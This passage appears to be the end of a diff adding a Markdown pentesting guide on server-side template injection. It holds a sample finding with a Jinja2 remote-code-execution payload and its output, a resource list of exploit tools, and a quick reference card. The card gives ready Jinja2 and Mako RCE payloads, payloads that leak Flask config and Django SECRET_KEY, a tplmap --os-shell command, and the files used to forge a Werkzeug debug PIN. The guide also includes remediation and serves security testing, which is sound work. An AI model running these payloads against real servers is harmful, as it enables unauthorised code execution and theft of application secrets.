|
+
|
|
887
|
+
**URL:** https://target.com/page?name=[PAYLOAD]
|
|
888
|
+
**Parameter:** name (GET)
|
|
889
|
+
**Template Engine:** Jinja2
|
|
890
|
+
**Framework:** Flask 2.3.1 / Python 3.9.7
|
|
891
|
+
|
|
892
|
+
**Proof of Concept:**
|
|
893
|
+
Request: GET /page?name={{7*7}}
|
|
894
|
+
Response: 49
|
|
895
|
+
|
|
896
|
+
**RCE Payload:**
|
|
897
|
+
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
|
|
898
|
+
|
|
899
|
+
**RCE Output:**
|
|
900
|
+
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
|
901
|
+
|
|
902
|
+
**Business Impact:**
|
|
903
|
+
Full remote code execution on web server. Attacker can read/write all files,
|
|
904
|
+
establish persistence, pivot to internal network, and exfiltrate customer data.
|
|
905
|
+
|
|
906
|
+
**Remediation:**
|
|
907
|
+
- Never render user-supplied strings as Jinja2 templates
|
|
908
|
+
- Use template.render(user_data=value) — pass data as variables, not template strings
|
|
909
|
+
- Enable Jinja2 sandbox: SandboxedEnvironment() — note this can be bypassed
|
|
910
|
+
- Implement strict input validation and WAF rules for template syntax
|
|
911
|
+
```
|
|
912
|
+
|
|
913
|
+
---
|
|
914
|
+
|
|
915
|
+
## 10. Resources
|
|
916
|
+
|
|
917
|
+
### Official Documentation
|
|
918
|
+
- Jinja2 Sandbox: https://jinja.palletsprojects.com/en/3.1.x/sandbox/
|
|
919
|
+
- Django Security: https://docs.djangoproject.com/en/4.2/topics/security/
|
|
920
|
+
- Werkzeug Debugger: https://werkzeug.palletsprojects.com/en/2.3.x/debug/
|
|
921
|
+
|
|
922
|
+
### Research and Exploit Databases
|
|
923
|
+
- PayloadsAllTheThings SSTI: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
|
|
924
|
+
- HackTricks SSTI: https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
|
|
925
|
+
- HackTricks Pickle: https://book.hacktricks.xyz/pentesting-web/deserialization#pickle
|
|
926
|
+
- PortSwigger SSTI: https://portswigger.net/web-security/server-side-template-injection
|
|
927
|
+
|
|
928
|
+
### Tools
|
|
929
|
+
- tplmap (SSTI scanner/exploiter): https://github.com/epinna/tplmap
|
|
930
|
+
- flask-unsign (Flask session forgery): https://github.com/Paradoxis/Flask-Unsign
|
|
931
|
+
- fickling (pickle analysis): https://github.com/trailofbits/fickling
|
|
932
|
+
- Burp Suite SSTI extensions: https://github.com/portswigger/server-side-template-injection
|
|
933
|
+
|
|
934
|
+
### Wordlists
|
|
935
|
+
- SecLists SSTI payloads: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/Server-Side-Template-Injection
|
|
936
|
+
- FuzzDB SSTI: https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/server-side-inject
|
|
937
|
+
|
|
938
|
+
### CTF Writeups and Research
|
|
939
|
+
- Jinja2 sandbox escape research: https://github.com/0x09AL/jinja2-sandbox-escape
|
|
940
|
+
- Flask PIN bypass research: https://www.bengrewell.com/cracking-flask-werkzeug-debugger-pin
|
|
941
|
+
- Pickle exploitation deep dive: https://checkmarx.com/blog/python-pickle-module-is-not-safe
|
|
942
|
+
- Django SSTI scenarios: https://www.cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti
|
|
943
|
+
|
|
944
|
+
### CVE References
|
|
945
|
+
- CVE-2019-8341 — Jinja2 SSTI in various products
|
|
946
|
+
- CVE-2021-32762 — Django template injection variants
|
|
947
|
+
- CVE-2022-24999 — Werkzeug debug PIN bypass conditions
|
|
948
|
+
|
|
949
|
+
---
|
|
950
|
+
|
|
951
|
+
## Quick Reference Card
|
|
952
|
+
|
|
953
|
+
```
|
|
954
|
+
DETECTION PAYLOADS:
|
|
955
|
+
{{7*7}} → Jinja2/Twig/Mako (returns 49)
|
|
956
|
+
${7*7} → Mako/Tornado (returns 49)
|
|
957
|
+
#{7*7} → Ruby ERB (different target)
|
|
958
|
+
{{7*'7'}} → Jinja2=7777777, Twig=49
|
|
959
|
+
|
|
960
|
+
JINJA2 QUICK RCE:
|
|
961
|
+
{{lipsum.__globals__["os"].popen("id").read()}}
|
|
962
|
+
{{url_for.__globals__["os"].popen("id").read()}}
|
|
963
|
+
{{cycler.__init__.__globals__.os.popen("id").read()}}
|
|
964
|
+
|
|
965
|
+
FLASK CONFIG LEAK:
|
|
966
|
+
{{config}}
|
|
967
|
+
{{config.items()}}
|
|
968
|
+
|
|
969
|
+
DJANGO SETTINGS:
|
|
970
|
+
{{settings.SECRET_KEY}}
|
|
971
|
+
{{settings.DATABASES}}
|
|
972
|
+
|
|
973
|
+
MAKO QUICK RCE:
|
|
974
|
+
${__import__('os').popen('id').read()}
|
|
975
|
+
|
|
976
|
+
TPLMAP ONE-LINER:
|
|
977
|
+
python3 tplmap.py -u "URL?param=test" --os-shell
|
|
978
|
+
|
|
979
|
+
FLASK PIN FILES:
|
|
980
|
+
/etc/machine-id
|
|
981
|
+
/proc/sys/kernel/random/boot_id
|
|
982
|
+
/sys/class/net/eth0/address → MAC address
|
|
983
|
+
/proc/self/cgroup → Docker container ID
|
|
984
|
+
|
|
985
|
+
PICKLE MAGIC BYTES: \x80\x04\x95 (base64: gASV)
|
|
986
|
+
```
|